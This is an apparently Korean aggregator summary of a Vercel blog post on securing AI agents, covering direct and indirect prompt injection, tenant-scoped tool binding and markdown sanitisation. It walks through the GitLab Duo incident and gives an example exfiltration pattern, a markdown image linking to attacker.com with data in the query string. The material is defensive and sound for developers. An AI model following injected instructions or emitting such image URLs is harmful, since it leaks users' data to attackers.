pile·
보안·vercel-blogVercel Blog·

AI 에이전트 보안 설계 — 프롬프트 인젝션 대응과 안전한 도구 스코핑

AI 에이전트는 시스템 프롬프트와 도구(tool)의 조합으로 구성되는데, 도구가 API·파일 시스템·외부 서비스에 접근하는 순간 보안 공격 표면이 함께 열린다. 프롬프트 인젝션은 SQL 인젝션처럼 모델이 처리하는 모든 입력을 통해 시스템 프롬프트를 덮어쓰거나 무단 도구 호출을 유발할 수 있으며, 이를 막는 표준화된 이스케이프 메커니즘이 없다.

핵심 포인트
  • 주요 위협: 프롬프트 인젝션. 사용자 쿼리, 검색 결과, 문서 등 모델이 처리하는 모든 콘텐츠가 공격 벡터가 될 수 있음.
  • 핵심 원칙: '공격자가 전체 프롬프트를 제어한다'고 가정하고 설계. 도구는 호출자 권한 범위로만 스코핑.
  • 안전한 도구 스코핑: `tenantId`를 인자로 받으면 크로스 테넌트 접근 위험 → `.bind(tenantId)`로 고정.
  • 간접 프롬프트 인젝션: 데이터베이스, 웹 스크래핑, 검색 API 등 외부 데이터 소스를 통해 공격자가 주입 가능. 직접 시스템 접근 없이 발생.
  • 마크다운 렌더링 취약점: `![payload](https://attacker.com/leak?data=123)` 패턴으로 데이터 유출 가능. GitLab Duo 실제 사고 사례.
  • 방어: 모델 출력 새니타이즈, CSP 규칙, `harden-react-markdown` / `markdown-to-markdown-sanitizer` 패키지 적용.
상세 정리
  • 공격 가정: 공격자가 초기 쿼리, 사용자 입력, 검색 결과, 중간 콘텐츠 전체를 제어한다는 최악의 경우를 상정. 모델이 공격자가 쓴 내용을 그대로 실행하면 어떤 피해가 나는지 먼저 평가.
  • 도구 스코핑 원칙: 도구는 '호출자가 이미 수행할 수 있는 것'으로 제한. 안전하지 않은 예: `getAnalyticsDataTool(tenantId, ...)`는 모델이 `tenantId`를 변경하면 크로스 테넌트 접근 가능.
  • 안전한 예: `originalTool.bind(tenantId)`로 `tenantId` 고정. 모델이 변경 시도해도 자신의 테넌트 데이터만 조회 가능.
  • 간접 인젝션 경로: 데이터베이스 레코드, 스크래핑 웹 콘텐츠, 검색 결과에 공격자가 악의적 지시를 심어두면 에이전트가 처리 과정에서 주입됨. 공격자 직접 상호작용 없이 발생.
  • 데이터 유출 경로: 모델이 마크다운 이미지 URL을 생성하면 브라우저 렌더링 시 외부 서버에 자동 요청 발생. 쿼리 파라미터로 민감 데이터 전송 가능.
  • GitLab Duo 사고: 공격자 제어 파일에 마크다운 주입 → 에이전트가 악의적 지시 처리 → 출력에 악성 이미지 URL 포함 → 렌더링 시 데이터 유출 발생.
  • 방어 구현: ① 모델 출력을 렌더링 전 새니타이즈 ② CSP 규칙 적용 ③ React 환경이면 `harden-react-markdown`, 일반 환경이면 `markdown-to-markdown-sanitizer` 패키지 사용.
  • 설계 원칙: 완벽한 격리는 불가능 → 모델이 잘못 동작했을 때의 피해 최소화 설계. 도구 범위 타이트 설정 + 출력 신뢰 금지 + 마크다운 직접 렌더링 금지 + 프롬프트에 시크릿 포함 금지.
  • 요약: '실패 경로를 먼저 설계하고 배포하라.'
왜 읽나AI 에이전트 또는 LLM 기반 도구를 프로덕션에 배포하는 개발자가 프롬프트 인젝션, 간접 인젝션, 마크다운 유출 공격을 이해하고 실제 방어 코드를 구현할 수 있게 한다.
vercel-blog
Vercel Blog 블로그
원문은 여기서 이어서 읽을 수 있어요
원문 읽기
읽음 (0)

이 글과 비슷한

  1. 보안·cloudflare-blogCloudflare Blog·

    오리진 서버 포스트 퀀텀 인증 지원 — ML-DSA mTLS 구현기

    Cloudflare가 오리진 서버와의 TLS 연결에 포스트 퀀텀 인증(ML-DSA)을 도입했다. 2023년 이미 포스트 퀀텀 암호화(encryption)가 배포됐지만, 인증(authentication)은 여전히 양자 공격에 취약한 상태였다. Authenticated Origin Pulls(AOP)와 Custom Origin Trust Store(COTS) 두 제품을 통해 완전한 상호 인증 TLS를 구현했으며, FIPS 204(ML-DSA) 표준을 오리진 연결에 적용한 첫 번째 마일스톤이다.

    #mtls#tls#post-quantum+2